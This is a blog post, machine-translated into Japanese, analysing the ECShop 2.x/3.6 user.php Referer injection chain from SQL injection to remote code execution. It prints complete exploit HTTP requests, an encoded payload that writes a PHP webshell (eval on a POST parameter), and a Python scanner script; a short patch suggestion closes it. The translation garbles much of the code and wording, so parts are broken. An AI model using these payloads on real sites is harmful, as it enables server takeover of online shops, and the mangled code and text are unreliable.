Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380205

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

user.phpの表示関数で問題が発生します。テンプレート変数は制御可能であり、噴射を引き起こし、インジェクションでリモートコード実行を実現できます。

0x01脆弱性分析

1.SQL注入

まず、user.phpの$ back_act変数をhttp_refererから見てみましょう。

“ecshop2.x代码执行”

割り当て関数は、テンプレート変数に値を割り当てるために使用されます

“ecshop2.x代码执行”

ディスプレイ関数をもう一度見て、user_passport.dwtテンプレートファイルのコンテンツを読み取り、変数を解析した後にHTMLコンテンツを表示し、_eChashをセグメントとして使用し、$ kを取得してから、処理のためにISNERT_MODに引き渡します。 _eChashはデフォルトであり、ランダムに生成されていないため、$ valコンテンツは自由に制御できます。

“ecshop2.x代码执行”

非常に重要な場所であるINSERT_MOD関数を見てください。ここでは、動的にコール$ valが渡されて使用されます|セグメントがあり、パラメーターは渡されてから渡されたときにシリアル化する必要があります

“ecshop2.x代码执行”

/lib_insert.phpを含むinsert_ads関数を見ると、直接挿入できることがわかります

“ecshop2.x代码执行”

2。コード実行

“ecshop2.x代码执行”

関数を読み続けます

“ecshop2.x代码执行”

Tracking_Eval関数

“ecshop2.x代码执行”

$ position_style変数は、データベースのクエリ構造に由来します

“ecshop2.x代码执行”

このSQL操作コマンドを部分的なラインブレークで切り捨てることができないため、SQLインジェクションの構築を続けているため、UnionのNUMと協力するためにIDで注釈を構築する必要があります。

“ecshop2.x代码执行”

関数には判断があります

“ecshop2.x代码执行”

私たちのIDは '/*で渡されます

*/unionが1,0x272F2A、3,4,5,6,7,8,9,10 ---を選択し、POC:をバイパスできます。

Select A.Ad_id、A.Position_id、A.Media_Type、A.Ad_link、A.Ad_name、P.Ad_Width、P.Ad_Height、P.Position_Style、Rand()は、ecshop27`.`ecs_ad`からrnd as a p.position_id where enabled=1 and start_time='1535678679'およびend_time='1535678679'およびa.position_id=''/*'rind lime */sion Select 1,2,3,4,5,6,7,8,9,10-----

“ecshop2.x代码执行”

var_dump

“ecshop2.x代码执行”

“ecshop2.x代码执行”

GET関数をもう一度見てください、渡されたパラメーターはfetch_str関数によって処理されます

“ecshop2.x代码执行”

fetch_str関数を追跡すると、ここの文字列処理プロセスは比較的複雑です

“ecshop2.x代码执行”

preg_replace( '/{([^\} \ n]*)}/e'、 '\ $ this-select(' \\ 1 ');'、$ source);

この行は、たとえば、$ sourceがxxxx {$ asd} xxxであることを意味します。このコード行を処理した後、この結果を返します-select( '$ asd')、および選択関数を調べます。

“ecshop2.x代码执行”

最初の文字が$ -get_val関数の場合に$を入力します

“ecshop2.x代码执行”

私たち$ valはそうではありません。 $は再度make_var関数に入ります

“ecshop2.x代码执行”

最後に、変数から脱出するために単一の引用がここに紹介されています

“ecshop2.x代码执行”

_varを閉じたいので、最終的なペイロードは

{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeudhh0jywnz2v0c2hlbgwnkq=='); //} xxx

1.TXTは、Webサイトとディレクトリで生成されます。

“ecshop2.x代码执行”

getShell exp:

get /user.php?act=login http /1.1

host: 127.0.0.1

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

1.PHPパスワードはWebサイトルートディレクトリで生成されます:1337

0x02脆弱性の再発

1.SQL注入繁殖

1。URL接続アドレスを開く:

http://192.168.1.9/user.php?action=login

2.パケットキャプチャを渡し、ブランズーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、ここでSQLインジェクションをテストするためにPCを追加します。

3。ペイロード:

get /user.php?act=login http /1.1

HOST: 192.168.1.9

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

Referer: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:3:'NUM '; S:72:'0,1手順分析(ExtractValue(rand()、concat(0x7e、version())、1)---- '; s33602:'id'; i:1;}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

1tsjmggzhat8757.jpg

1mpwziuywok8758.jpg

2。コード実行シェルの再現を書き込み

1。URL接続アドレスを開きます。

http://192.168.1.9/user.php?action=login

2.パケットキャプチャをパスし、ブルンスーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、シェルPOCにテストを追加します

3。ペイロード:

get /user.php?act=login http /1.1

host: 127.0.0.1

user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1

参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

ここの16進数は、文字列に変換できることに注意してください。

0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a45 75634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d78788

弦:

{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzzzzhbcgkx1bpu1rbmtmzn10poya/picp '); ///} xxx

base64復号化:

zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzxzhbcgkx1bpu1rbmtmzn10poya/picp ---

file_put_contents( '1.php'、 '?php eval($ _ post [1337]);')

2npobqt2e008759.jpg

0yizs4dkyxb8760.jpg

0x03脆弱性の影響

ECSHOP 2.XECSHOP 3.6

0x04修理提案

一時的な処理方法は、include/lib_insert.phpファイルの関連する脆弱性のコードを変更し、データを整数に変換するように強制します。 intValの制限は、$ arr [id]および$ arr [num]の前に追加されます。変更する必要がある場所は次のとおりです。

y2al2t0k3ke8761.jpg

ECShop 3.6.0は上記の脆弱性を修正したため、できるだけ早く最新バージョン3.6.0に更新することをお勧めします

0x05参照リンク

http://RINGK3Y.COM/2018/08/31/ECSHOP2-X%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C

0x06付録

脆弱性を確認するためのPythonスクリプト:

#!/usr/bin/python

#Coding: UTF-8

要求をreqとしてインポートします

def run(url):

'http'がurl:ではない場合

url='http://' + url

url=url + '/user.php?act=login'

URLを印刷、

Headers={'Referer':'554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:'NUM'; S:161 \ \

: '*/Union Select 1,0x272F2A、3,4,5,6,7,8,0x7B247B24686F6D65275D3B61737365727428626173 \

6536345F6465636F646528276347687776157356D627967704F773D3D272929293B2FF2F7D7D、10 ---- '; S: \

2:'id '; s:' \ '/*'; s:43360'name '; s:'ads';}

try:

res=req.get(url、headers=headers、timeout=8)

例外を除き、E:

印刷e

return '---- vuln no vuln'

content=res.content

コンテンツ:の「disable_functions」の場合

return '---- vulnを持っている!」

else:

return '---- vuln no vuln'

__name__=='__main __' :の場合

sysをインポートします

url=sys.argv [1]

プリントラン(URL)